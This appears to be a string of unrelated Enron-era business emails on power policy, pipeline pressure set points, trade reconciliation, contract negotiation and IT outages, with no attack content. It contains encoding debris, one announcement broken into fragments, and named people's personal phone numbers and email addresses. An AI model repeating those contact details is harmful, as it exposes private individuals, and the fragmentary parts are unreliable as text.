the utility is removed completely from the procurement function.  Procureme=
nt=20
is not a utility core competency, as evidenced by the dire financial=20
condition in which the utilities now find themselves.  California should=20
therefore begin immediately to phase the utility out of the procurement=20
function entirely, with the goal of having all customers served by a=20
non-utility provider within 36 months.  To execute the transition, Californ=
ia=20
should hold a series of competitive solicitations over the 36-month period =
in=20
which competing service providers would bid for the right to serve segments=
=20
of utility load.

Return California=01,s Investor-owned utilities to solvency=01*Legislative =
vehicle:=20
AB18X
Utility bankruptcy will not increase supply and it will not decrease demand=
. =20
In short, bankruptcy does nothing to solve California=01,s supply-demand=20
imbalance.  In addition, bankruptcy increases the likelihood that consumers=
=20
and businesses will bear the significant financial risks of having Californ=
ia=20
State government assume the role of =01&electricity buyer=018 for an extend=
ed=20
period of time.  Finally, bankruptcy will undermine both investor confidenc=
e=20
in California's energy markets and the private sector's willingness to=20
participate in that market.

California can return the utilities to financial solvency by implementing a=
=20
series of staged rate increases.  California should design those rate=20
increases with the dual goal of returning the utilities to solvency without=
=20
=01&shocking=018 the economy or household budgets For example, California c=
ould=20
amortize the recovery of the utilities=01, past debt over a 5-10 year perio=
d. =20
In addition, the magnitude of the rate increase can be reduced in two ways:=
=20
First, the utilities could absorb some portion of their existing debt in=20
recognition of the risk they accepted when they agreed to the structure of =
AB=20
1890.  Second, California can =01&net=018 the revenues the utilities have r=
eceived=20
from selling electricity into the Power Exchange against the debts they hav=
e=20
accrued due to the retail price cap.

Kim,

	This was filed yesterday.

From: 	Martens, Donna  
Sent:	Tuesday, November 27, 2001 9:37 AM
Subject:	Red Rock filing

Please read the comments below, and then let Darrell or I know if this sounds acceptable you. Please note the MAOP set points and the shut down timing scenario. I have them highlighted in red below.

Jerry

From: 	Whippo, Jeff  
Sent:	Tuesday, March 19, 2002 1:41 PM
To:	Schoolcraft, Darrell; Graves, Jerry; Vaughan, Pat; Pribble, Dan; Arnie Bailey (E-mail); David Roensch (E-mail); Rick Smith (E-mail)
Cc:	Hendricks, Jonny; Hill, Scott; Lawrence, Ed; Ingalls, Todd
Subject:	RE: Set points

This looks good to me.  If you don't have any issues with this we will proceed.  Comments?

From: 	Ingalls, Todd  
Sent:	Saturday, March 16, 2002 2:39 PM
To:	Whippo, Jeff
Cc:	Hendricks, Jonny; Hill, Scott; Lawrence, Ed

Yes, I forgot to get back with you on this.  Jon Hendricks, Scott Hill and myself got together last week and thought this might be a good approach.

The control system does pretty good with control of the units until they get down to minimum speed and that is where we get into problems.  If we get over 1010 psi on the mainline or 2psi over maop on any system we will look at the governor speed and if it is not at minimum we will speed up the process trying to get back to maop.

If we are over 2psi (.2%) and at minimum speed for 2 minutes we will take one unit off line and wait for 5 minutes to see if we need to repeat this and take off another unit.  At anytime if we hit 1015 or 7psi (.7%)over maop we will keep the station shutdown and all units will go down.
1015 is where we will have the pressure switches will be set.  I feel that we should be comfortable with these numbers as we will not ever get over 1% of maop unless we have a failure of the system and at this point the relief valves will protect us.  We will have to have several failures for this to occur.

If you feel that this is a good plan please let me know and we will come up with the programming to make it happen.
We can start implementing this right away and should be able to get it done by the end of the year.  We would  be quicker but we seem to have a lot going on right now.

Thanks
Todd

Sent:	Friday, March 15, 2002 5:51 PM
To:	Hendricks, Jonny; Ingalls, Todd
Subject:	Set points

I got busy and I know you probably did too.  Are we making any headway on a strategy?

Thanks,
Jeff

Yep - the strips are changed to reflect term 3/15 to 3/31. Glad that's 
finally solved!

Thanks,
Kate

03/14/2001 07:01 AM
cc:  

Subject: Re: 3/13 Checkout  

Prebon agrees now because the confirm is exactly what we have, however, can 
you change both strips to reflect 3/15-3/31 in enpower (deal 549052).

Thanks!

   Kate Symes @ ECT                03/13/2001 05:45 PM

cc:  

We've changed this to a BOM deal (term 3/15 to 3/31), but Sean still 
recognizes this as an on-peak deal with a price of 241.00. Let me know if 
Prebon still disputes.

Thanks,
Kate

03/13/2001 03:24 PM
cc:  

yes- so this is what prebon is saying on this deal 549052:
Enron buys from Pacificorp 25 mw of peak BOM Mid-C at $141.00

Thanks!!

   Kate Symes @ ECT                03/13/2001 05:11 PM

cc:  

Sean Crandall said the price on this is correct (241), but he thought the 
deal was supposed to run through the end of the month. He was just walking 
into a meeting with Tim Belden while I was trying to figure this out with 
him, and he asked that I not change anything until he gets out and can look 
at it more closely. A price of $141 is awfully low for a peak deal flowing at 
Mid-C tomorrow - actually lower than the off-peak prices - so it sounds a 
little suspicious. I'll let you know when he gets out of the meeting.

Thanks,
Kate

03/13/2001 03:11 PM
cc:  

yes

   Kate Symes @ ECT                03/13/2001 05:02 PM

cc:  

549052 - del. point is already in as Mid-C, so just the price is wrong?

03/13/2001 03:06 PM
cc:  

SORRY I gave you the incorrect deal number for this error.  Should be deal 
549052.

original error:
deal 549053    549052
Prebon shows price as $141 and delivery pt as Mid-C

Prebon broker said our price (215) and del. point (Cob) are right

S

   Kate Symes @ ECT                03/13/2001 04:39 PM

cc:  

Prebon
Sean Crandall
549048 - changed to NP

549013 - changed to APB

549010 - enron buys BP/Apr01/NP/peak/207.00 (in with Amerex - should it be 
Prebon?)

Chris Mallory - just entered Williams deal

03/13/2001 02:27 PM
cc:  

Subject: 3/13 Checkout

AMEREX
All deals checked out fine

PREBON

deal 549048
Prebon shows del. point as NP-15 

deal 549053

deal 549013
Prebon does not recognize

I am missing the following:
1) Enron buys from BP Energy 25 mw of April'01 NP-15 peak hrs at $207
2) Enron buys Williams 25 mw of SP-15 of April'01 off-peak hrs at $107

BLOOMBERG

President Bush's statement on 201.  

	Larry Decker
	06/05/2001 04:37 PM
		 
		 To: Lisa Yoho/NA/Enron@Enron, Linda Robertson/NA/Enron@ENRON, Chris 
Long/Corp/Enron@ENRON
		 cc: 
		 Subject: POTUS Statement re: 201

President's Statement Regarding a Multilateral Initiative On Steel
 
WASHINGTON, June 5 /U.S. Newswire/ -- The following was released today by the 
White House: 

STATEMENT BY THE PRESIDENT 

This Administration is committed to free trade as an engine of growth. As 
part of our free trade agenda, we are committed to ensuring that American 
industry and American workers can compete on a level playing field. That is 
why, today, I am announcing my intent to launch an initiative to respond to 
the challenges facing the U.S. steel industry. This initiative will be 
designed to restore market forces to world steel markets and eliminate the 
practices that harm our steel industry and its workers. 

The U.S. steel industry has been affected by a 50-year legacy of foreign 
government intervention in the market and direct financial support of their 
steel industries. The result has been significant excess capacity, 
inefficient production, and a glut of steel on world markets. 

My decision to pursue this initiative comes after extensive consultations by 
Members of the Cabinet with our industry, our steelworkers, and interested 
Members of Congress. We have discussed the challenges facing U.S. steel 
manufacturers, and we understand that we have a critical stake in a healthy 
U.S. steel industry. 

Thus, I intend to take the following steps. First, I am directing the United 
States Trade Representative, in cooperation with the Secretary of Commerce 
and Secretary of the Treasury, to initiate negotiations with our trading 
partners seeking the near-term elimination of inefficient excess capacity in 
the steel industry worldwide, in a manner consistent with applicable U.S.  
laws. 

Second, I am directing the U.S. Trade Representative, together with the 
Secretaries of Commerce and the Treasury, to initiate negotiations on the 
rules that will govern steel trade in the future and eliminate the underlying 
market-distorting subsidies that led to the current conditions in the first 
place. Absent strict disciplines barring government support, direct or 
indirect, for inefficient steel-making capacity, the problems confronting the 
U.S. steel industry and the steel industry worldwide will only recur. 

We see these negotiations and the goal of restoring market forces as being in 
our interest and in the interest of our trading partners and their steel 
industries. That is why we would like to work cooperatively with our trading 
partners in pursuing this initiative. 

Third, I am directing the U.S. Trade Representative to request the initiation 
of an investigation of injury to the United States industry by the 
International Trade Commission under section 201 of the Trade Act of 1974. 
This action is consistent with our WTO obligations. 

This three-part strategy, coupled with further restructuring of the U.S. 
industry, should help the industry meet the challenges it faces. I look 
forward to working together with the industry, the steelworkers, Congress, 
and our international trading partners in support of this important 
initiative. 

Contact: White House Press Office, 202-456-2580 

Just wanted to say congratulations on the close.  I hope you had a good trip 
back to Cincy.  Again, I think that both companies are getting a very good 
deal, with you guys getting excellent assets at a very good price.  Hope to 
talk to you soon and I look forward to seeing the press release.
Regards, 
Ben

Though many of you already know, today is my last day here at Enron.  I am leaving to pursue my culinary interests full time and have accepted a baking/pastry apprenticeship with the Deer Valley Resort in Park City, Utah for the winter season.  

I am happy to have spent the past 3 years working with such a fun and intelligent group of people. I sincerely wish all of you the best in your future endeavors.

Please don't hesitate to look me up if you are in the Park City area, vacation planning, or considering some radical career change like this...ha.  It would be great to see old friends up there.  Forwarding info is below:

http://www.deervalley.com/winter/winterhome.asp
Email: moshuffle@hotmail.com
Cellular: 713-516-0651

Well, I hate to write this, but I found out last night that I will have to be 
in Chicago next Wednesday thru Friday.  Call me.

DG
3-9573

Debny Greenlee
08/15/2000 05:35 PM
To: Audrey Cook/HOU/ECT@ECT, Willie Stewart/HOU/ECT@ECT, Wade R 
Price/HOU/ECT@ECT, Kevin Bosse/HOU/ECT@ECT, Jane S Saladino/HOU/ECT@ECT, Lisa 
Valderrama/HOU/ECT@ECT, Larry G Cash/HOU/ECT@ECT, Mary Tyler 
Marz/HOU/ECT@ECT, Mary Ellenberger/Corp/Enron@ENRON, LaShanda 
Poledore/Corp/Enron@ENRON, Max Doner/HOU/ECT@ECT, David W 
Eubanks/HOU/ECT@ECT, Kevin W Drachenberg/HOU/ECT@ECT, Linda J 
Ewing/HOU/ECT@ECT, Tricia Truong/HOU/ECT@ECT, Jeff W Westover/HOU/ECT@ECT, 
Vivien Pham/HOU/ECT@ECT, Paula Lee/HOU/ECT@ECT, Kristie 
Youngblood/HOU/ECT@ECT, Pam B Boxx/HOU/ECT@ECT, Shielah 
Castro/Corp/Enron@Enron, Donnie Myers/NA/Enron@ENRON, Genaro 
Mendoza/NA/Enron@Enron, Laurie Ellis/NA/Enron@Enron, Charles 
Jacobs/NA/Enron@Enron, Darla Saucier/NA/Enron@Enron, Valerie 
Curtis/NA/Enron@Enron, Michael Mousteiko/NA/Enron@Enron, Melissa K 
Ratnala/HOU/ECT@ECT
cc: Bryce Baxter/HOU/ECT@ECT, Lisa Peterson/NA/Enron@Enron, Darron C 
Giron/HOU/ECT@ECT 
Subject: Training

Please plan to attend one of two  training sessions conducted by Darron Giron 
where he will discuss some general aspects of risk management as they relate 
to the operational analysis process.  Following his presentation, we will 
clarify some of the Phase II OA issues.  The sessions will be held on 
Wednesday, August 23 and Thursday, August 24 in Room 37c1.  Please check with 
your leads if you are unable to attend during your scheduled time.  Thanks.  

Wednesday, August 23
1:30 pm - 3:00 pm

Purchase Team

Thursday, August 24
9:00 pm - 10:30 pm

Sales Team

From: Bussell l, Kathryn 
Sent: Thursday, March 21, 2002 4:30 PM
To: Proctor, Shemin; Germany, Chris
Subject: appalachian producers

We (EES) have been getting December production payments ready -- what are your thoughts on actually paying the post-petition pieces?   Besides Dominion, we have producers off of Gatherco, Columbia Natural Resources,  Columbia Gas Transmission, Peoples Natural Gas, and East Ohio Gas.    Are these on your list to review some day like you are doing Dominion?     A few producers have called wanting to know when to expect payment and I just need to know whether to forge ahead to get caught up in getting their payments in the system, or to wait in case we have the producers taken out of our pools on all these pipes/ldc's.   It is a ton of work, and if it doesn't need to happen, all the better, but if it does need to happen, I need to be working on it now.    
 
Also, only one company listed above could provide daily actuals so the others are just being split by 31 days.    I figured if the producer disputed his split (if paid), he could provide the back-up to make it more accurate.  
 
Any comments will be helpful.  Thanks.    
 
I have been meaning to email you all day.  I  have been extremely busy as 
wel.  I am sorry to hear that.  Ashley and I were looking forward to going 
out to dinner with you guys on Saturday.  Maybe we will call your folks and 
see if they would like to go out for your dad's bday.  I will have to give 
him a call tomorrow to wish him happy birthday.  Do you have his number at 
work or an email at work?  Thanks.

We look forward to seeing you soon.  Take care.
PL

This case is killing me!  1) I had to get before 10 AM today.  2) So much for 
that leisurely 2-hour coffee and morning paper at the neighborhood cafe---not 
today, thank you!  3) My nap!  Fahgetaboutit.  

I'm going to be a wreck tonite.

Best,
Jeff

I'm forwarding this to each of you just in case you didn't get it.

gngr
----- Forwarded by Ginger Dernehl/NA/Enron on 10/17/2000 11:14 AM -----

=09Maureen McVicker
=0910/16/2000 02:50 PM
=09=09=20
=09=09 Subject: Organization Announcement

Here's the memo.

----- Forwarded by Maureen McVicker/NA/Enron on 10/16/2000 02:47 PM -----

=09Enron Global Markets LLC - Office of the Chairman
=0910/12/2000 11:36 AM
=09=09
=09=09 To: ENA and EGM Employees, Enron Industrial Markets, Enron Europe
=09=09 cc: Executive Committee and Assistants
   Enron Global Markets LLC - Office of the Chairman

=20

,=20
=20
rs=20
ce=20

h=20
=20
=20
=20
Gold.   =20

=20
d=20
am=20
port=20

r=20
=20
=20
h=20

 will=20
t=20
=20
ts=20
. =20
=20
=20
=20

n=20

Following Friday's meeting, Paula and I discussed the following action plan:

1. Bob Butts will review the accounting implications of changing the SIC Code 
to 6211 and will supply a breakdown of revenues by segment to re-look at the 
SIC Code classification by Tuesday, March 6th.

2. Chris Dowd at CIC (our proxy solicitor) will work with Paula to gather the 
necessary information in order for CIC to present us with the probability of 
shareholder approval with a "For" vote and with an   "Against" vote from 
ISS.  He hopes to have this completed by Friday, March 9th.

3. Re-review the appropriate SIC Code and the next steps as it relates to 
contacting the SEC.

4. Once steps 1, 2 and 3 are completed, determine the number of shares to be 
requested via the final proxy.  Final Draft of the proxy will be circulated 
on March 12th and will be filed with the   SEC on March 20th.

A document summarizing the Pros/Cons of keeping SIC Code 6211 is forthcoming 
once Paula has reviewed.

As always, if you have any questions please give me a call.

Mary

When: Wednesday, January 16, 2002 9:30 AM-11:30 AM (GMT-06:00) Central Time (US & Canada).
Where: TBD

Fundamental's Meeting 

1. Historical Fuel Consumption and Power Generation - Mauricio Marquez

2. 2002 Power Forecast - Gus Giron

3. Transmission 
	Steven Benchluch
	Bill Rust
	Martin Lin

4. Current Fundamental Project Discussion 

please match the following deals for jan feb and mar  

deal 142727 with 204779

Start Date: 1/1/02; HourAhead hour: 14;  No ancillary schedules awarded.  No variances detected. 

PARSING FILE -->> O:\Portland\WestDesk\California Scheduling\ISO Final Schedules\2002010114.txt
###Cannot locate a Preferred or Revised_Preferred Schedule that matches the FINAL Individual Interchange Schedule.  Unable to assign deal number.
Couldn't update; currently locked.
Table

     Details:

  TRANS_DATE: 1/1/02
  TIE_POINT: PVERDE_5_NG-PLV
  INTERCHG_ID: EPMI_CISO_SW
     Details:

  INTERCHG_ID: ENRJ_CISO_8001

     Details:

I am attaching a first draft of the presentation prepared by the team and would ask you to consider it purely as a draft for comments and feedback.

There are some sections of it which we are updating. However, for most part of it we have put our analysis in it.

Ban

The graphs are now located in the same section as the WSCC outages graphs in the main fundamentals page:

http://fundamentals.corp.enron.com/main.asp
(under "Gas", "Testing", "Load and Temperature Charts")

Jason

  Lindholm Oil , Inc.  6575   500 MMbtu/d   100% Gas Daily less $.15

I will create a committed reserves ticket for the remaining term of the deal 
once our geologists have gathered enough data to forecast the reserves of 
this well, at such time, we will request that this ticket be zeroed out.

Please supply the sitara number once entered.  If you have any questions, 
please give me a call.

Susan x 33321
      
---------------------- Forwarded by Susan Smith/HOU/ECT on 02/14/2000 03:25 

02/08/2000 09:31 AM
To: Tom Acton/Corp/Enron@ENRON
cc: Bryan Hull/HOU/ECT@ECT, Daren J Farmer/HOU/ECT@ECT, Julie 
Meyers/HOU/ECT@ECT, Susan Smith/HOU/ECT@ECT, Donald P Reinhardt/HOU/ECT@ECT, 
Subject: Union Gas - Doehrman #1

Tom,

The Doehrman #1 well came on line for first delivery on Monday, 2/7/00 at 
11:45am.  The contract calls for intra-month pricing for deliveries that 
commence after the first day of the month.  Please create a one month 
baseload firm deal ticket for the remaining days of the month based on the 

Counterparty    Meter   Volume   Price

Union Gas Operating Company  9825   500mmbtu/d   100% Gas Daily less $0.10

Susan will create a committed reserves firm ticket for the remaining term of 
the deal once our geologists have gathered enough data to forecast the 
reserves of this well; at such time, we will request that this ticket be 
zeroed out.

If you have any questions or concerns, please give me a call.

Thanks,

vlt
x3-6353

Attached is a short memo and summary outlining changes to the Business School 
Loan Program for the Western Hemisphere. As many of you know, over the past 
couple of months we have taken a hard look at our approach to business school 
loans. The updated guidelines better serve Enron's business interests, 
eliminate credit exposure for the company, and potentially broaden the reach 
of the Loan Program. If you have any questions, please contact Ted Bland 
(x35275) who leads Career Development for the Program.
Billy

fyi  

Kay
---------------------- Forwarded by Kay Mann/Corp/Enron on 09/15/2000 12:19 
   
	From:  Chris Booth                           09/13/2000 02:33 PM
	
To: Bruce Golden/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Eric 
Booth/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Jeffrey Keenan/HOU/ECT@ECT, John R 
Ayres/NA/Enron@Enron, Ed Dannhaus/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc: Kay Mann/Corp/Enron@Enron, Kathleen 
Clark/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT 

Subject: RE: Ready to ship Notification

Please note that the following turbines are ready to ship.

Units: 2,3,4,5,6 - Enron South America
Units: 9,10,11,12 - Austin Energy
Unit: 13 PSCO

Chris
---------------------- Forwarded by Chris Booth/NA/Enron on 09/13/2000 02:21 

michael.storm@ss.ps.ge.com on 09/13/2000 08:04:38 AM
To: michael.storm@ss.ps.ge.com, matthew.tezyk@enron.com
cc: frank.r.cervenka@enron.com, lee.johnson@ss.ps.ge.com, 
james.bonnett@ss.ps.ge.com, chris.booth@enron.com 

I must apologize I did not include the attachment.

 <<Enron006-RTS.pdf>>

Mike Storm

  g   S&S Energy Products
  ___________________________________
    A GE Power Systems Business
  Michael E. Storm
  Projects
  Phone: (281) 457-9601  Dial Com 351-9601
  Fax:  (281) 862-1611, Pager 888 487 5741

  From: Storm, Michael E (PS, SSEP)
  Sent: Wednesday, September 13, 2000 7:24 AM
  To: Matthew Tezyk (E-mail)
  Cc: 'Frank Cervenka'; Johnson, Lee L (PS, SSEP);
Bonnett, James R (PS, SSEP); 'Chris Booth'
  Subject: Ready to ship Notification

  Matt,

  Attachment is formal notification for units ready to ship.

  Mike Storm

    g   S&S Energy Products
    ___________________________________
      A GE Power Systems Business
    Michael E. Storm
    Projects
    Phone: (281) 457-9601  Dial Com 351-9601
    Fax:  (281) 862-1611, Pager 888 487 5741

 - Enron006-RTS.pdf

Gerald:

Here is information about the meeting I mentioned.

Thanks,

Jeff

From: 	Irvine, Geraldine  
Sent:	Tuesday, October 16, 2001 2:49 PM
To:	McMichael Jr., Ed; Hodge, Jeffrey T.; Tycholiz, Barry; Vickers, Frank W.; Mrha, Jean; Redmond, Brian; Luce, Laura; Salinas, Michael
Subject:	Capacity Release Disclosure Mtg. is still on for Oct. 17, 2001 8-9:30am eb3270

Attached, please find the TXU nominations for the weekend of October 14-16,
2000.

No Scheduled Flows

(See attached file: HPLN1014.xls)

 - HPLN1014.xls

F O R

March 16, 2001 5:00pm through March 19, 2001 12:00am
  
Time:  Fri 3/16/2001 at  9:00:00 PM CT thru Sat 3/17/2001 at  1:00:00 AM CT
 Fri 3/16/2001 at  7:00:00 PM PT thru Fri 3/16/2001 at  11:00:00 PM PT
 Sat 3/17/2001 at 3:00:00 AM London thru Sat 3/17/2001 at  7:00:00 AM London
                    
Impact:  EI
 
Impact:  Market Data
Time:  Fri 3/16/2001 at  4:30:00 PM CT thru Fri 3/16/2001 at  5:30:00 PM CT
 Fri 3/16/2001 at  2:30:00 PM PT thru Fri 3/16/2001 at  3:30:00 PM PT
 Fri 3/16/2001 at  10:30:00 PM London thru Fri 3/16/2001 at  11:30:00 PM 
London
Outage:  Telerate Plus Monthly Maintenance Reboot
Environments Impacted:  Telerate Plus Users - Equity and FX Traders
Purpose: Preventive maintenance.
Backout: 
Contact(s):  Paul Jordan    713-853-0320

Time:  Fri 3/16/2001 at  7:00:00 PM CT thru Fri 3/16/2001 at  7:15:00 PM CT
 Fri 3/16/2001 at  5:00:00 PM PT thru Fri 3/16/2001 at  5:15:00 PM PT
 Sat 3/17/2001 at  1:00:00 AM London thru Sat 3/17/2001 at  1:15:00 AM London
Outage:  Tibco Rendezvous Client update
Environments Impacted:  All Development Groups. Sitara, TDSLaunchpad, 
TDSTradeBlotter, Unify, Enpower, Equity Trading System, QuickTrade, & 
Moneypenny
Purpose: New in House development has been started using the new client.  
Tibco v 5.x is not supported under Windows 2000
Backout: replace \\enehou-appw1\apps_admin\scripts\tibco.vbs with 
\\enehou-appw1\apps_admin\scripts\Scripts to Delete\tibco.vbs  Edit 
\\enehou-appw1\apps_admin\scripts\SetupSvc\SetupSvc.ini.   Change the entry 
for tibco to Tibco="%szAppinst%\Tibco\5.2\Tibco_LM.exe"
Contact(s):  Michael S White  713-398-6602  713-708-9841
                                
Time:  Fri 3/16/2001 at  6:00:00 PM CT thru Sun 3/18/2001 at  3:00:00 PM CT
 Fri 3/16/2001 at  4:00:00 PM PT thru Sun 3/18/2001 at  1:00:00 PM PT
 Sat 3/17/2001 at  12:00:00 AM London thru Sun 3/18/2001 at  9:00:00 PM London
Outage:  SAP Production Builds
Environments Impacted:  SAP
Purpose: Integration of new companies and business functionality into current 
configuration
Backout: Stop the build and/or restore the systems
Contact(s):  Michael Vu    713-345-5574

Impact:  Test
Time:  Fri 3/16/2001 at  7:00:00 PM CT thru Fri 3/16/2001 at  9:00:00 PM CT
 Fri 3/16/2001 at  5:00:00 PM PT thru Fri 3/16/2001 at  7:00:00 PM PT
 Sat 3/17/2001 at  1:00:00 AM London thru Sat 3/17/2001 at  3:00:00 AM London
Outage:  NFS O/S upgrade - (Calvin / Hobbes)
Environments Impacted:  All Development Groups
Purpose: Stability
Backout: Reinstall previous o/s version.
Contact(s):  Wilford Stevens    713-853-7564
  Michael Barber     713-853-5530
              
Time:  Sat 3/17/2001 at  8:00:00 AM CT thru Sat 3/17/2001 at  8:00:00 PM CT
 Sat 3/17/2001 at  6:00:00 AM PT thru Sat 3/17/2001 at  6:00:00 PM PT
 Sat 3/17/2001 at  2:00:00 PM London thru Sun 3/18/2001 at  2:00:00 AM London
Outage:  Rmsprod Maintence
Environments Impacted:  
Purpose: Overall performance
Backout: Restart in normal mode.
Contact(s):  Emmett Cleveland    713-345-3873

The Lucent switch ATM conversion has been postponed until 3-30-01 at 10:30 pm.

From: 	Slone, Jeanie  
Sent:	Wednesday, February 06, 2002 5:52 PM
Cc:	'maria.bliss@ubsw.com'; 'jenai.lee@ubsw.com'; Oquinn, Kari
Subject:	Two Replacement Contracts-please approve

Louise,

David asked that review the attached requests in his absence.  Both are replacement contracts at equal or less value than what we offered in original contracts.  Thanks.

Jenai-Kari will send the info as soon as we receive it from the estate.  Please place priority on the contract for Schields as we would like to have a fax as soon as possible on Thursday.  Call me on Thurs am if you still do not have what you need.  Thanks.

Jeanie

 << File: jes_new offers_changes_020602.xls >> 

Cheryl:

We'll email the draft ISDA Schedule and CSA to you and Chuck.  Please email 
me back with address, phone, email, etc. information as to how you would like 
the drafts sent.  Thanks.

---------------------- Forwarded by J Mark Metts/NA/Enron on 10/25/2000 07:45 
From: Tim DeSpain@ECT on 10/25/2000 04:57 PM
To: J Mark Metts/NA/Enron@Enron, Lance Schuler-Legal/HOU/ECT@ECT
cc:  
Subject: Rating Agency Talking Points

Please see attached revision pursuant to our meeting earlier today.  Let me 
know if you have any questions or comments.

Tim

Did any of your traders do a deal with Larry May at Sumas selling half-a-day 
at +.03?

Sandy:
On point #6, our tax dept. is recommending the following:
- delete 3(a)(ii) in its entirety
- in 3(a)(i), replace the reference to form 1001 with a reference to Form 
W-8-BEN

EB 3892

	"Morrison, S.L. (Sandy)" <SL.Morrison@mbltd.com>
	05/25/2000 11:13 AM
		 
		 To: "'Carol.St.Clair@enron.com'" <Carol.St.Clair@enron.com>
		 cc: "McKinnon, M.K. (Malcolm)" <MK.McKinnon@mbltd.com>
		 Subject: RE: ISDA Comments

Carol,

I spoke to our in house counsel about the arbitration clause and they are
willing to leave it in.
So, to sum up here are our responses your original eMail:

1.  Canadian Securities Rep:  Please have your Canadian counsel review our
language which our outside Canadian counsel prepared.
2.  Ok.
3.  We're ok with this now.
4.  We're ok to leave this in.
5.  Ok.
6.  Please see my comments below.

Thanks,

Sandy Morrison
Weyerhaeuser Company Ltd.

From: Morrison, S.L. (Sandy)
Sent: Wednesday, May 24, 2000 3:22 PM
To: 'Carol.St.Clair@enron.com'
Cc: McKinnon, M.K. (Malcolm)
Subject: RE: ISDA Comments

Carol,

My tax department is ok with the forms in Part 3 a i) and ii) of ths
schedule, but ask that 3 a)ii) be changed to "...before December 31st of
each third succeeding year..." (ie, the same as part 3a)i)).

Also they have asked that we obtain the proper mailing address and contact
name for these forms.

Plese let me know if there is a problem with this requested change.

Thank you,

Weyerhaeuser Company Limited

Sent: Wednesday, May 24, 2000 10:50 AM

Carol,

Sheri's number in Washington is 253-924-3184.

Thank you,

Sandy

From: Carol.St.Clair@enron.com [mailto:Carol.St.Clair@enron.com]
Sent: Wednesday, May 24, 2000 10:48 AM
To: SL.Morrison@mbltd.com

Sandy:
I have not yet contacted our tax group about this.  I think that the
easiest thing to do is for you to give me Sheri's phone number and I will
ask someone from our tax group to contact her.  It probably will be Rhett
Jackson.
Carol

                    "Morrison,

                    S.L. (Sandy)"        To:     "'Carol St Clair'"
<Carol.St.Clair@enron.com>
                    <SL.Morrison@        cc:     "McKinnon, M.K. (Malcolm)"
<MK.McKinnon@mbltd.com>
                    mbltd.com>           Subject:     RE: ISDA Comments

                    05/24/2000

                    09:14 AM

Carol,

Further to our conversatiaon yesterday, I would like to get Sheri Dunn,
from
the Weyerhaesuer tax group and a tax representative from Enron on the phone
sometime (hopefully today).  Sheri is available at 10:30 Pacific time
(=1:30
est,  12:30 Central)  today.  Do you think we can work with that?

Thanks,

From: Carol St Clair [mailto:Carol.St.Clair@enron.com]
Sent: Monday, May 22, 2000 6:48 PM
Subject: ISDA Comments

EB 3892
----- Forwarded by Carol St Clair/HOU/ECT on 05/22/2000 05:47 PM -----
|        |          Carol St     |
|        |          Clair        |
|        |                       |
|        |          05/22/2000   |
|        |          05:42 PM     |
|        |                       |

>
---------------------------------------------------------------------------
-|
  |
|
  |       To:     SL.Morrison@mbltd.
|
  |       cc:     Susan Bailey/HOU/ECT@ECT
|
  |       Subject:     ISDA Comments
|

>
-|

Sandy:
Susan Bailey passed on to me your comments to the ISDA draft and I can
respond
to some but not all of such comments at this point:

1.   With respect to your Canadian securities rep, I am checking with our
counsel in Canada about whether we can use your language instaed of ours.

2.   With respect to the Options rep and the ESP rep in part %, Section
(b),
I
believe that both parties need to make such reps.  The rep in Part 5
(b)(g)(ii)
is to cover the Trade Option exemption and it is different from the ESP rep
below it.

3.   With respect to the language in Part 5, Section (a), this is different
from
the setoff language.    What this is saying is that if a party has
fulfilled
all
of its payment obligations and an Event of Default occurs with respect to
it
(the "Defaulting Party"), the other party cannot withhold any payment that
it
owes to the Defaulting Party.  This is different from the exercise of
setoff
rights.

4.   I would like to discuss with you or your legal representative the
removal
of the arbitration language as it is Enron's policy to have arbitration
apply.

5.   We would prefer to keep the Termination Currency specified in US
Dollars.

6.   Our tax group believes that we need the language in Part 3(a)(i),
(ii).
Why do you want to delete it?

EB 3892
E-Mail Carol.St.Clair@enron.com

----- Forwarded by Richard B Sanders/HOU/ECT on 03/26/2001 05:32 PM -----

	"Neal S. Manne" <NMANNE@SusmanGodfrey.com>
	03/26/2001 05:27 PM
		 
		 To: "RSanders (E-mail)" <Richard.B.Sanders@Enron.com>
		 cc: Robert Rivera <RRIVERA@SusmanGodfrey.com>, "Jonathan J. Ross" 
<JROSS@SusmanGodfrey.com>
		 Subject: duke

We argued the issue of additional document production this afternoon.
Morris took it under advisement.

The One Oak issue came up.  Morris said he had not realized it involved an
Enron entity.  He will stay away from it.  I assured him it was no problem.

He also disclosed that he had presented some award to Ken Lay recently at an
industry conference.  Smith assured him that was no problem either.

Neal S. Manne
(713) 653-7827
nmanne@susmangodfrey.com

 - C.DTF

FYI.  Don't freak at the # of reviewers!
---------------------- Forwarded by Brenda F Herod/HOU/ECT on 05/18/2000 
04:11 PM ---------------------------
   
	From:  Brenda F Herod                           05/18/2000 04:09 PM
	
To: PerfMgmt/HOU/ECT@ECT
cc: Hector McLoughlin/Corp/Enron@Enron 
Subject: Reviewers

Per the Help Desk instructions, please enter in the PEP system the following 
reviewers for one of my employees, Daren Farmer.  This morning when I went 
into the PEP system, this employee did not show up as one of mine.  I have 
notified our HR rep, Hector McLoughlin who is working to change this.  
Thanks. 
04:00 PM ---------------------------

05/18/2000 03:42 PM
To: Brenda F Herod/HOU/ECT@ECT
cc:  

B, 

Reviewers:

Gary Hanks
Tom Martin
Elsa Villareal
Ed Gottlob
Pat Clynes 
Stacey Neuweiler
Ami Chokshi
George Grant
Stella Morris
Carlos Rodriguez
Steve Venturatos
Mary Smith
Rita Wynne
Charlotte Hawkins

D

Nick,

Thanks for your message. The best date for a visit to Enron
would be Friday, May the 26th. Please, let me know if this date would work 
for you.

Vince 

Nick Bambos <bambos@stanford.edu> on 05/01/2000 04:26:30 AM
cc:  
Subject: Re: Visit to Enron

Vince,

How are you? Hope all is well.

Is there any chance we can schedule my visit to Enron on Friday, May 19,
or Friday, May 26?

By the end of April I was able to attract a top new student to work on the 
project.
The other one for the coming year will be Giuseppe. By spending the summer
at Enron, he will be in a position to bring the new one up to speed and
create an intellectual team here at Stanford to look at these problems.

I must move ahead soon to put the project in place and get the work going.

Nick

Vince.J.Kaminski@enron.com wrote:
>
> Nick,
>
> We can close the loop on our commitment to support the research projects
> before your visit to Enron.
>
> My assistant, Shirley  Crenshaw, will call you to set up a conference call
> with me, Stinson Gibner,
> and Tom Gros from Enron Broadband Services to discuss all the isssues.
> Friday this week would work for
> both Tom and me. I think we need about 15 minutes.
>
> Vince
>
> P.S. Shirley, Nick's phone number is 650 796 8163 (cell), 650-725-5525
> (office).
>
